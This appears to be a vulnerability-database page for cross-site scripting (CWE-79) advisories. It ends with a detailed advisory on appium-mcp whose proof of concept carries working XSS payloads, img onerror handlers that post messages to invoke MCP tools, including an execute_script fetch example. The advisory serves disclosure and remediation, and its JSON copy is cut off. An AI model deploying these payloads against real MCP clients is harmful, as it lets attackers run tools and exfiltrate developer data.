CWE-79
AllowedImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Abstraction: Base · Status: Stable
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
66759 vulnerabilities reference this CWE, most recent first.
GHSA-X96H-M7Q3-M39J
Vulnerability from github – Published: 2024-05-17 06:31 – Updated: 2024-05-17 06:31Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in PluginOps Landing Page Builder allows Reflected XSS.This issue affects Landing Page Builder: from n/a through 1.5.1.8.
{
"affected": [],
"aliases": [
"CVE-2024-34752"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-17T06:15:52Z",
"severity": "HIGH"
},
"details": "Improper Neutralization of Input During Web Page Generation (XSS or \u0027Cross-site Scripting\u0027) vulnerability in PluginOps Landing Page Builder allows Reflected XSS.This issue affects Landing Page Builder: from n/a through 1.5.1.8.",
"id": "GHSA-x96h-m7q3-m39j",
"modified": "2024-05-17T06:31:17Z",
"published": "2024-05-17T06:31:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-34752"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/page-builder-add/wordpress-landing-page-builder-1-5-1-8-cross-site-scripting-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-X972-8C9J-X42X
Vulnerability from github – Published: 2022-05-14 01:11 – Updated: 2022-05-14 01:11A cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server, aka 'Microsoft Office SharePoint XSS Vulnerability'.
{
"affected": [],
"aliases": [
"CVE-2019-0778"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-04-09T03:29:00Z",
"severity": "MODERATE"
},
"details": "A cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server, aka \u0027Microsoft Office SharePoint XSS Vulnerability\u0027.",
"id": "GHSA-x972-8c9j-x42x",
"modified": "2022-05-14T01:11:04Z",
"published": "2022-05-14T01:11:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-0778"
},
{
"type": "WEB",
"url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0778"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-X975-RF5M-X8FC
Vulnerability from github – Published: 2025-06-11 00:30 – Updated: 2025-06-11 00:30Adobe Experience Manager versions 6.5.22 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.
{
"affected": [],
"aliases": [
"CVE-2025-46844"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-10T23:15:24Z",
"severity": "MODERATE"
},
"details": "Adobe Experience Manager versions 6.5.22 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim\u2019s browser when they browse to the page containing the vulnerable field.",
"id": "GHSA-x975-rf5m-x8fc",
"modified": "2025-06-11T00:30:36Z",
"published": "2025-06-11T00:30:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46844"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/experience-manager/apsb25-48.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-X975-RGX4-5FH4
Vulnerability from github – Published: 2026-06-19 21:43 – Updated: 2026-06-19 21:43Unescaped Locator Data XSS in MCP-UI Resource (createLocatorGeneratorUI)
Summary
appium-mcp's createLocatorGeneratorUI function interpolates attacker-controlled element attributes — text, content-desc, resource-id, and locator selector values — directly into an HTML template literal without any HTML or JavaScript context escaping. An attacker who controls the UI of the app under test can inject arbitrary HTML and JavaScript into the MCP UI resource returned by the generate_locators tool. When a victim's MCP client renders this resource, the injected script executes and can invoke arbitrary MCP tools via window.parent.postMessage, leading to unauthorized MCP tool execution such as taking screenshots, reading page source, or any other registered capability.
Details
The vulnerability is a stored/reflected cross-site scripting (XSS) issue in the MCP UI generation pipeline.
Vulnerable sink — src/ui/mcp-ui-utils.ts:730–740:
${element.text ? `<p class="element-text"><strong>Text:</strong> ${element.text}</p>` : ''}
${element.contentDesc ? `<p class="element-text"><strong>Content Desc:</strong> ${element.contentDesc}</p>` : ''}
${element.resourceId ? `<p class="element-text"><strong>Resource ID:</strong> <code>${element.resourceId}</code></p>` : ''}
<code class="selector">${selector}</code>
<button class="test-btn" onclick="testLocator('${strategy}', `${selector.replace(/`/g, '\\`')}`)">Test</button>
None of element.text, element.contentDesc, element.resourceId, selector, or strategy are HTML-escaped before insertion. The onclick attribute additionally embeds selector and strategy into an inline JavaScript string using only a backtick-escape that is insufficient to prevent breakout via HTML event attribute syntax or single-quote injection.
By contrast, createPageSourceInspectorUI at src/ui/mcp-ui-utils.ts:911–916 does apply escaping to the page source, confirming that the protection gap in createLocatorGeneratorUI is an oversight, not a design choice.
Complete data flow (source → sink):
src/tools/test-generation/locators.ts:57—getPageSource(driver)reads the page source XML from an active Appium session; the connected app is fully attacker-controlled.src/tools/test-generation/locators.ts:72— the raw page source is passed togenerateAllElementLocators.src/locators/source-parsing.ts:108— XML attribute values undergo only newline replacement (attr.value.replace(/(\n)/gm, '\n')); HTML entities such as<are decoded into raw<characters by the XML parser with no re-encoding.src/locators/generate-all-locators.ts:73–75—element.attributes.text,['content-desc'], and['resource-id']are copied verbatim into the locator result object.src/tools/test-generation/locators.ts:90— the locator objects are passed tocreateLocatorGeneratorUI.src/ui/mcp-ui-utils.ts:730–740— values are interpolated directly into the HTML response (sink).
The window.parent.postMessage({type:'tool', payload:{toolName:...}}, '*') mechanism used throughout src/ui/mcp-ui-utils.ts:645–695 means any JavaScript executing in the rendered UI resource can invoke registered MCP tools unconditionally.
Remediation requires an HTML-escaping helper (replacing &, <, >, ", ') applied to all element properties in the HTML context, and JSON.stringify for values embedded inside JavaScript string literals in onclick handlers.
PoC
Prerequisites:
- appium-mcp v1.85.8 or v1.85.9 installed from npm
- Node.js 20+ with the package built (npm install && npm run build)
- An MCP client that renders HTML resources returned by generate_locators (e.g., VS Code with the Appium MCP extension, or any WebView-based MCP host)
Static confirmation (no Appium session required):
node --input-type=module <<'EOF'
import { generateAllElementLocators } from './dist/locators/generate-all-locators.js';
import { createLocatorGeneratorUI } from './dist/ui/mcp-ui-utils.js';
const xml = `<hierarchy>
<node class="android.widget.TextView"
clickable="true"
enabled="true"
displayed="true"
text="<img src=x onerror="window.parent.postMessage({type:'tool',payload:{toolName:'appium_screenshot',params:{}},'*')">"
content-desc="<b>xss-in-contentDesc</b>"
resource-id="com.attacker.app/<u>xss-resource-id</u>"/>
</hierarchy>`;
const locators = generateAllElementLocators(xml, true, 'uiautomator2', { fetchableOnly: true });
const html = createLocatorGeneratorUI(locators);
console.log('UNESCAPED <img src=x onerror= present:', html.includes('<img src=x onerror='));
console.log('UNESCAPED <b> in contentDesc present: ', html.includes('<b>xss-in-contentDesc</b>'));
console.log('UNESCAPED <u> in resourceId present: ', html.includes('<u>xss-resource-id</u>'));
EOF
Expected output:
UNESCAPED <img src=x onerror= present: true
UNESCAPED <b> in contentDesc present: true
UNESCAPED <u> in resourceId present: true
Dynamic confirmation (Docker, network-isolated):
# Build context is the parent directory (contains repo/ and vuln-001/)
docker build -t appium-mcp-vuln-001 \
-f vuln-001/Dockerfile \
reports/npmAI_303_appium__appium-mcp
docker run --rm --network none appium-mcp-vuln-001
The container output confirms:
HTML has unescaped <img src=x onerror= : true
Text paragraph : <p class="element-text"><strong>Text:</strong> <img src=x onerror="window.parent.postMessage(...)"></p>
│ [PASS] XSS CONFIRMED │
│ createLocatorGeneratorUI inserted the raw <img> XSS tag │
│ execute the onerror handler, enabling arbitrary MCP tool │
End-to-end exploitation against a real MCP client:
- Attacker publishes or sideloads an Android/iOS app whose UI element
text,content-desc, orresource-idattributes contain an XSS payload (e.g.,<img src=x onerror="window.parent.postMessage({type:'tool',payload:{toolName:'execute_script',params:{script:'fetch(...)'}},'*')">). - Victim developer connects their Appium MCP server to the attacker's app and calls the
generate_locatorsMCP tool. - The MCP client renders the returned HTML resource in a WebView / iframe.
- The injected
onerrorhandler fires and posts a craftedtoolmessage to the parent frame, causing the MCP host to invoke arbitrary registered tools (e.g.,appium_screenshot,execute_script,get_page_source) without user confirmation.
Impact
This is a Cross-Site Scripting (XSS) vulnerability. Any developer using appium-mcp with an MCP client that renders HTML resources (the intended workflow for the UI feature) is impacted when they inspect elements from an attacker-controlled application.
Impact scenarios:
- Arbitrary MCP tool invocation: Injected JavaScript calls window.parent.postMessage with any tool name and parameters, executing MCP tools silently (e.g., taking screenshots, reading page source, executing scripts on the device).
- Credential and data exfiltration: Via execute_script or screenshot tools, an attacker can extract sensitive data visible on the device screen or in the page source.
- Lateral movement / persistence: If the MCP host exposes file-system or shell tools, the attacker can escalate to arbitrary code execution on the developer's machine.
- Supply-chain / CI abuse: Automated test pipelines that call generate_locators against third-party app builds are equally vulnerable; no human interaction beyond running the pipeline is required.
The attack requires no authentication (PR:N), the tool is enabled by default (default-on: Y), and the scope is changed (S:C) because JavaScript executes in the MCP host frame rather than the sandboxed resource.
Reproduction artifacts
Dockerfile
# VULN-001 PoC: Unescaped Locator Data XSS in appium-mcp createLocatorGeneratorUI
#
# Build context: reports/npmAI_303_appium__appium-mcp/
# (parent directory containing both repo/ and vuln-001/)
#
# Build: docker build -t appium-mcp-vuln-001 -f vuln-001/Dockerfile .
# Run: docker run --rm --network none appium-mcp-vuln-001
FROM node:20
WORKDIR /app
# Copy the vulnerable appium-mcp source tree
COPY repo/ ./
# Install all dependencies.
# --ignore-scripts skips postinstall hooks (native node-gyp builds) that
# are irrelevant for the TypeScript compilation we need.
# --no-audit / --no-fund suppress network noise.
RUN npm install --ignore-scripts --no-audit --no-fund 2>&1
# Compile TypeScript -> JavaScript (dist/)
RUN npm run build
# Copy the PoC exploit script into the built app directory
COPY vuln-001/exploit.mjs ./exploit.mjs
# Default: run the XSS exploit proof-of-concept
ENTRYPOINT ["node", "exploit.mjs"]
poc.py
#!/usr/bin/env python3
"""
VULN-001 Dynamic PoC: Unescaped Locator Data XSS in appium-mcp createLocatorGeneratorUI
This script:
1. Builds a Docker image containing the vulnerable appium-mcp source.
2. Runs exploit.mjs inside the container with --network none (no outbound traffic).
3. Parses the output to confirm the XSS payload survived unescaped into the HTML.
4. Writes phase2_result.json with PASS/FAIL verdict and evidence.
Safety constraints:
- Uses local Docker only (no external services).
- Network is disabled in the container (--network none).
- No live Appium session, no real device, no real credentials.
- The repo source is not modified; the vulnerability is in the original code.
"""
import json
import os
import subprocess
import sys
# ── Paths ─────────────────────────────────────────────────────────────────────
VULN_DIR = os.path.dirname(os.path.abspath(__file__))
CONTEXT_DIR = os.path.dirname(VULN_DIR) # parent: npmAI_303_appium__appium-mcp/
DOCKERFILE = os.path.join(VULN_DIR, "Dockerfile")
RESULT_PATH = os.path.join(VULN_DIR, "phase2_result.json")
IMAGE_NAME = "appium-mcp-vuln-001"
BUILD_CMD = (
f"docker build -t {IMAGE_NAME} "
f"-f vuln-001/Dockerfile "
f"{CONTEXT_DIR}"
)
RUN_CMD = f"docker run --rm --network none {IMAGE_NAME}"
POC_CMD = f"python3 {os.path.basename(__file__)}"
def run(cmd: list[str], timeout: int = 600) -> tuple[int, str, str]:
"""Run a subprocess and return (returncode, stdout, stderr)."""
result = subprocess.run(
cmd,
capture_output=True,
text=True,
timeout=timeout,
)
return result.returncode, result.stdout, result.stderr
def build_image() -> tuple[bool, str]:
"""Build the Docker image. Returns (success, error_message)."""
print("[*] Building Docker image (this may take several minutes for npm install)...")
print(f" {BUILD_CMD}\n")
rc, stdout, stderr = run(
["docker", "build", "-t", IMAGE_NAME, "-f", DOCKERFILE, CONTEXT_DIR],
timeout=600,
)
if rc != 0:
tail = (stdout + stderr)[-3000:]
print(f"[!] Build FAILED (exit {rc}):\n{tail}")
return False, tail
print("[*] Build succeeded.")
return True, ""
def run_exploit() -> tuple[int, str, str]:
"""Run the exploit container. Returns (returncode, stdout, stderr)."""
print(f"\n[*] Running exploit container...")
print(f" {RUN_CMD}\n")
rc, stdout, stderr = run(
["docker", "run", "--rm", "--network", "none", IMAGE_NAME],
timeout=120,
)
print("--- container stdout ---")
print(stdout)
if stderr.strip():
print("--- container stderr ---")
print(stderr)
return rc, stdout, stderr
def extract_evidence(stdout: str) -> str:
"""Pull the most relevant lines from exploit output."""
evidence_lines = []
for line in stdout.splitlines():
upper = line.upper()
if any(kw in upper for kw in [
"PASS", "FAIL", "CONFIRMED", "EVIDENCE",
"UNESCAPED", "IMG SRC", "ONERROR",
"TEXT PARAGRAPH", "CONTENTDESC", "RESOURCEID",
"XSS",
]):
evidence_lines.append(line)
return "\n".join(evidence_lines) if evidence_lines else stdout[:2000]
def write_result(payload: dict) -> None:
with open(RESULT_PATH, "w", encoding="utf-8") as fh:
json.dump(payload, fh, indent=2, ensure_ascii=False)
print(f"\n[*] Result written to: {RESULT_PATH}")
def main() -> None:
# ── Build ──────────────────────────────────────────────────────────────────
build_ok, build_err = build_image()
if not build_ok:
write_result({
"passed": False,
"verdict": "FAIL",
"reason": (
"Docker 이미지 빌드 실패. npm install 또는 TypeScript 컴파일 오류가 발생함. "
"오류 메시지를 확인하여 누락된 패키지나 호환성 문제를 해결한 뒤 재시도 필요."
),
"build_command": BUILD_CMD,
"run_command": RUN_CMD,
"poc_command": POC_CMD,
"evidence": f"Build error (last 2000 chars):\n{build_err[-2000:]}",
"artifacts": ["Dockerfile", "poc.py"],
})
sys.exit(1)
# ── Run ────────────────────────────────────────────────────────────────────
exit_code, stdout, stderr = run_exploit()
# ── Verdict ────────────────────────────────────────────────────────────────
xss_confirmed = (exit_code == 0) and ("XSS CONFIRMED" in stdout)
evidence = extract_evidence(stdout)
if xss_confirmed:
write_result({
"passed": True,
"verdict": "PASS",
"reason": (
"컨테이너 내부에서 실제 실행을 통해 XSS 취약점이 확인됨. "
"generateAllElementLocators()가 XML 속성의 <img> 엔티티를 "
"원시 HTML 태그 <img src=x onerror=...>로 디코딩하고, "
"createLocatorGeneratorUI()가 이를 HTML 이스케이프 없이 그대로 삽입함. "
"MCP UI 렌더러(iframe/WebView)에서 해당 HTML을 렌더링하면 onerror 핸들러가 실행되어 "
"window.parent.postMessage()를 통해 임의 MCP 도구를 호출할 수 있음."
),
"build_command": BUILD_CMD,
"run_command": RUN_CMD,
"poc_command": POC_CMD,
"evidence": evidence,
"artifacts": ["Dockerfile", "poc.py"],
})
print("[PASS] XSS exploit confirmed.")
sys.exit(0)
else:
reason_detail = (
f"컨테이너 종료 코드: {exit_code}. "
"'XSS CONFIRMED' 문자열이 출력에 없음. "
"exploit.mjs 또는 Dockerfile을 확인하고 재시도 필요."
)
write_result({
"passed": False,
"verdict": "FAIL",
"reason": reason_detail,
"build_command": BUILD_CMD,
"run_command": RUN_CMD,
"poc_command": POC_CMD,
"evidence": (stdout + "\n" + stderr)[:3000],
"artifacts": ["Dockerfile", "poc.py"],
})
print(f"[FAIL] Exploit did not produce expected output (exit_code={exit_code}).")
sys.exit(1)
if __name__ == "__main__":
main()
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.85.9"
},
"package": {
"ecosystem": "npm",
"name": "appium-mcp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.85.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T21:43:14Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Unescaped Locator Data XSS in MCP-UI Resource (createLocatorGeneratorUI)\n\n### Summary\n\n`appium-mcp`\u0027s `createLocatorGeneratorUI` function interpolates attacker-controlled element attributes \u2014 `text`, `content-desc`, `resource-id`, and locator selector values \u2014 directly into an HTML template literal without any HTML or JavaScript context escaping. An attacker who controls the UI of the app under test can inject arbitrary HTML and JavaScript into the MCP UI resource returned by the `generate_locators` tool. When a victim\u0027s MCP client renders this resource, the injected script executes and can invoke arbitrary MCP tools via `window.parent.postMessage`, leading to unauthorized MCP tool execution such as taking screenshots, reading page source, or any other registered capability.\n\n### Details\n\nThe vulnerability is a stored/reflected cross-site scripting (XSS) issue in the MCP UI generation pipeline.\n\n**Vulnerable sink \u2014 `src/ui/mcp-ui-utils.ts:730\u2013740`:**\n\n```ts\n${element.text ? `\u003cp class=\"element-text\"\u003e\u003cstrong\u003eText:\u003c/strong\u003e ${element.text}\u003c/p\u003e` : \u0027\u0027}\n${element.contentDesc ? `\u003cp class=\"element-text\"\u003e\u003cstrong\u003eContent Desc:\u003c/strong\u003e ${element.contentDesc}\u003c/p\u003e` : \u0027\u0027}\n${element.resourceId ? `\u003cp class=\"element-text\"\u003e\u003cstrong\u003eResource ID:\u003c/strong\u003e \u003ccode\u003e${element.resourceId}\u003c/code\u003e\u003c/p\u003e` : \u0027\u0027}\n\u003ccode class=\"selector\"\u003e${selector}\u003c/code\u003e\n\u003cbutton class=\"test-btn\" onclick=\"testLocator(\u0027${strategy}\u0027, `${selector.replace(/`/g, \u0027\\\\`\u0027)}`)\"\u003eTest\u003c/button\u003e\n```\n\nNone of `element.text`, `element.contentDesc`, `element.resourceId`, `selector`, or `strategy` are HTML-escaped before insertion. The `onclick` attribute additionally embeds `selector` and `strategy` into an inline JavaScript string using only a backtick-escape that is insufficient to prevent breakout via HTML event attribute syntax or single-quote injection.\n\nBy contrast, `createPageSourceInspectorUI` at `src/ui/mcp-ui-utils.ts:911\u2013916` does apply escaping to the page source, confirming that the protection gap in `createLocatorGeneratorUI` is an oversight, not a design choice.\n\n**Complete data flow (source \u2192 sink):**\n\n1. `src/tools/test-generation/locators.ts:57` \u2014 `getPageSource(driver)` reads the page source XML from an active Appium session; the connected app is fully attacker-controlled.\n2. `src/tools/test-generation/locators.ts:72` \u2014 the raw page source is passed to `generateAllElementLocators`.\n3. `src/locators/source-parsing.ts:108` \u2014 XML attribute values undergo only newline replacement (`attr.value.replace(/(\\n)/gm, \u0027\\n\u0027)`); HTML entities such as `\u0026lt;` are decoded into raw `\u003c` characters by the XML parser with no re-encoding.\n4. `src/locators/generate-all-locators.ts:73\u201375` \u2014 `element.attributes.text`, `[\u0027content-desc\u0027]`, and `[\u0027resource-id\u0027]` are copied verbatim into the locator result object.\n5. `src/tools/test-generation/locators.ts:90` \u2014 the locator objects are passed to `createLocatorGeneratorUI`.\n6. `src/ui/mcp-ui-utils.ts:730\u2013740` \u2014 values are interpolated directly into the HTML response (sink).\n\nThe `window.parent.postMessage({type:\u0027tool\u0027, payload:{toolName:...}}, \u0027*\u0027)` mechanism used throughout `src/ui/mcp-ui-utils.ts:645\u2013695` means any JavaScript executing in the rendered UI resource can invoke registered MCP tools unconditionally.\n\n**Remediation** requires an HTML-escaping helper (replacing `\u0026`, `\u003c`, `\u003e`, `\"`, `\u0027`) applied to all element properties in the HTML context, and `JSON.stringify` for values embedded inside JavaScript string literals in `onclick` handlers.\n\n### PoC\n\n**Prerequisites:**\n- `appium-mcp` v1.85.8 or v1.85.9 installed from npm\n- Node.js 20+ with the package built (`npm install \u0026\u0026 npm run build`)\n- An MCP client that renders HTML resources returned by `generate_locators` (e.g., VS Code with the Appium MCP extension, or any WebView-based MCP host)\n\n**Static confirmation (no Appium session required):**\n\n```bash\nnode --input-type=module \u003c\u003c\u0027EOF\u0027\nimport { generateAllElementLocators } from \u0027./dist/locators/generate-all-locators.js\u0027;\nimport { createLocatorGeneratorUI } from \u0027./dist/ui/mcp-ui-utils.js\u0027;\n\nconst xml = `\u003chierarchy\u003e\n \u003cnode class=\"android.widget.TextView\"\n clickable=\"true\"\n enabled=\"true\"\n displayed=\"true\"\n text=\"\u0026lt;img src=x onerror=\u0026quot;window.parent.postMessage({type:\u0027tool\u0027,payload:{toolName:\u0027appium_screenshot\u0027,params:{}},\u0027*\u0027)\u0026quot;\u0026gt;\"\n content-desc=\"\u0026lt;b\u0026gt;xss-in-contentDesc\u0026lt;/b\u0026gt;\"\n resource-id=\"com.attacker.app/\u0026lt;u\u0026gt;xss-resource-id\u0026lt;/u\u0026gt;\"/\u003e\n\u003c/hierarchy\u003e`;\n\nconst locators = generateAllElementLocators(xml, true, \u0027uiautomator2\u0027, { fetchableOnly: true });\nconst html = createLocatorGeneratorUI(locators);\n\nconsole.log(\u0027UNESCAPED \u003cimg src=x onerror= present:\u0027, html.includes(\u0027\u003cimg src=x onerror=\u0027));\nconsole.log(\u0027UNESCAPED \u003cb\u003e in contentDesc present: \u0027, html.includes(\u0027\u003cb\u003exss-in-contentDesc\u003c/b\u003e\u0027));\nconsole.log(\u0027UNESCAPED \u003cu\u003e in resourceId present: \u0027, html.includes(\u0027\u003cu\u003exss-resource-id\u003c/u\u003e\u0027));\nEOF\n```\n\n**Expected output:**\n```\nUNESCAPED \u003cimg src=x onerror= present: true\nUNESCAPED \u003cb\u003e in contentDesc present: true\nUNESCAPED \u003cu\u003e in resourceId present: true\n```\n\n**Dynamic confirmation (Docker, network-isolated):**\n\n```bash\n# Build context is the parent directory (contains repo/ and vuln-001/)\ndocker build -t appium-mcp-vuln-001 \\\n -f vuln-001/Dockerfile \\\n reports/npmAI_303_appium__appium-mcp\n\ndocker run --rm --network none appium-mcp-vuln-001\n```\n\nThe container output confirms:\n```\nHTML has unescaped \u003cimg src=x onerror= : true\nText paragraph : \u003cp class=\"element-text\"\u003e\u003cstrong\u003eText:\u003c/strong\u003e \u003cimg src=x onerror=\"window.parent.postMessage(...)\"\u003e\u003c/p\u003e\n\u2502 [PASS] XSS CONFIRMED \u2502\n\u2502 createLocatorGeneratorUI inserted the raw \u003cimg\u003e XSS tag \u2502\n\u2502 execute the onerror handler, enabling arbitrary MCP tool \u2502\n```\n\n**End-to-end exploitation against a real MCP client:**\n\n1. Attacker publishes or sideloads an Android/iOS app whose UI element `text`, `content-desc`, or `resource-id` attributes contain an XSS payload (e.g., `\u003cimg src=x onerror=\"window.parent.postMessage({type:\u0027tool\u0027,payload:{toolName:\u0027execute_script\u0027,params:{script:\u0027fetch(...)\u0027}},\u0027*\u0027)\"\u003e`).\n2. Victim developer connects their Appium MCP server to the attacker\u0027s app and calls the `generate_locators` MCP tool.\n3. The MCP client renders the returned HTML resource in a WebView / iframe.\n4. The injected `onerror` handler fires and posts a crafted `tool` message to the parent frame, causing the MCP host to invoke arbitrary registered tools (e.g., `appium_screenshot`, `execute_script`, `get_page_source`) without user confirmation.\n\n### Impact\n\nThis is a **Cross-Site Scripting (XSS)** vulnerability. Any developer using `appium-mcp` with an MCP client that renders HTML resources (the intended workflow for the UI feature) is impacted when they inspect elements from an attacker-controlled application.\n\n**Impact scenarios:**\n- **Arbitrary MCP tool invocation:** Injected JavaScript calls `window.parent.postMessage` with any tool name and parameters, executing MCP tools silently (e.g., taking screenshots, reading page source, executing scripts on the device).\n- **Credential and data exfiltration:** Via `execute_script` or screenshot tools, an attacker can extract sensitive data visible on the device screen or in the page source.\n- **Lateral movement / persistence:** If the MCP host exposes file-system or shell tools, the attacker can escalate to arbitrary code execution on the developer\u0027s machine.\n- **Supply-chain / CI abuse:** Automated test pipelines that call `generate_locators` against third-party app builds are equally vulnerable; no human interaction beyond running the pipeline is required.\n\nThe attack requires no authentication (`PR:N`), the tool is enabled by default (`default-on: Y`), and the scope is changed (`S:C`) because JavaScript executes in the MCP host frame rather than the sandboxed resource.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001 PoC: Unescaped Locator Data XSS in appium-mcp createLocatorGeneratorUI\n#\n# Build context: reports/npmAI_303_appium__appium-mcp/\n# (parent directory containing both repo/ and vuln-001/)\n#\n# Build: docker build -t appium-mcp-vuln-001 -f vuln-001/Dockerfile .\n# Run: docker run --rm --network none appium-mcp-vuln-001\n\nFROM node:20\n\nWORKDIR /app\n\n# Copy the vulnerable appium-mcp source tree\nCOPY repo/ ./\n\n# Install all dependencies.\n# --ignore-scripts skips postinstall hooks (native node-gyp builds) that\n# are irrelevant for the TypeScript compilation we need.\n# --no-audit / --no-fund suppress network noise.\nRUN npm install --ignore-scripts --no-audit --no-fund 2\u003e\u00261\n\n# Compile TypeScript -\u003e JavaScript (dist/)\nRUN npm run build\n\n# Copy the PoC exploit script into the built app directory\nCOPY vuln-001/exploit.mjs ./exploit.mjs\n\n# Default: run the XSS exploit proof-of-concept\nENTRYPOINT [\"node\", \"exploit.mjs\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 Dynamic PoC: Unescaped Locator Data XSS in appium-mcp createLocatorGeneratorUI\n\nThis script:\n 1. Builds a Docker image containing the vulnerable appium-mcp source.\n 2. Runs exploit.mjs inside the container with --network none (no outbound traffic).\n 3. Parses the output to confirm the XSS payload survived unescaped into the HTML.\n 4. Writes phase2_result.json with PASS/FAIL verdict and evidence.\n\nSafety constraints:\n - Uses local Docker only (no external services).\n - Network is disabled in the container (--network none).\n - No live Appium session, no real device, no real credentials.\n - The repo source is not modified; the vulnerability is in the original code.\n\"\"\"\n\nimport json\nimport os\nimport subprocess\nimport sys\n\n# \u2500\u2500 Paths \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nVULN_DIR = os.path.dirname(os.path.abspath(__file__))\nCONTEXT_DIR = os.path.dirname(VULN_DIR) # parent: npmAI_303_appium__appium-mcp/\nDOCKERFILE = os.path.join(VULN_DIR, \"Dockerfile\")\nRESULT_PATH = os.path.join(VULN_DIR, \"phase2_result.json\")\n\nIMAGE_NAME = \"appium-mcp-vuln-001\"\n\nBUILD_CMD = (\n f\"docker build -t {IMAGE_NAME} \"\n f\"-f vuln-001/Dockerfile \"\n f\"{CONTEXT_DIR}\"\n)\nRUN_CMD = f\"docker run --rm --network none {IMAGE_NAME}\"\nPOC_CMD = f\"python3 {os.path.basename(__file__)}\"\n\n\ndef run(cmd: list[str], timeout: int = 600) -\u003e tuple[int, str, str]:\n \"\"\"Run a subprocess and return (returncode, stdout, stderr).\"\"\"\n result = subprocess.run(\n cmd,\n capture_output=True,\n text=True,\n timeout=timeout,\n )\n return result.returncode, result.stdout, result.stderr\n\n\ndef build_image() -\u003e tuple[bool, str]:\n \"\"\"Build the Docker image. Returns (success, error_message).\"\"\"\n print(\"[*] Building Docker image (this may take several minutes for npm install)...\")\n print(f\" {BUILD_CMD}\\n\")\n rc, stdout, stderr = run(\n [\"docker\", \"build\", \"-t\", IMAGE_NAME, \"-f\", DOCKERFILE, CONTEXT_DIR],\n timeout=600,\n )\n if rc != 0:\n tail = (stdout + stderr)[-3000:]\n print(f\"[!] Build FAILED (exit {rc}):\\n{tail}\")\n return False, tail\n print(\"[*] Build succeeded.\")\n return True, \"\"\n\n\ndef run_exploit() -\u003e tuple[int, str, str]:\n \"\"\"Run the exploit container. Returns (returncode, stdout, stderr).\"\"\"\n print(f\"\\n[*] Running exploit container...\")\n print(f\" {RUN_CMD}\\n\")\n rc, stdout, stderr = run(\n [\"docker\", \"run\", \"--rm\", \"--network\", \"none\", IMAGE_NAME],\n timeout=120,\n )\n print(\"--- container stdout ---\")\n print(stdout)\n if stderr.strip():\n print(\"--- container stderr ---\")\n print(stderr)\n return rc, stdout, stderr\n\n\ndef extract_evidence(stdout: str) -\u003e str:\n \"\"\"Pull the most relevant lines from exploit output.\"\"\"\n evidence_lines = []\n for line in stdout.splitlines():\n upper = line.upper()\n if any(kw in upper for kw in [\n \"PASS\", \"FAIL\", \"CONFIRMED\", \"EVIDENCE\",\n \"UNESCAPED\", \"IMG SRC\", \"ONERROR\",\n \"TEXT PARAGRAPH\", \"CONTENTDESC\", \"RESOURCEID\",\n \"XSS\",\n ]):\n evidence_lines.append(line)\n return \"\\n\".join(evidence_lines) if evidence_lines else stdout[:2000]\n\n\ndef write_result(payload: dict) -\u003e None:\n with open(RESULT_PATH, \"w\", encoding=\"utf-8\") as fh:\n json.dump(payload, fh, indent=2, ensure_ascii=False)\n print(f\"\\n[*] Result written to: {RESULT_PATH}\")\n\n\ndef main() -\u003e None:\n # \u2500\u2500 Build 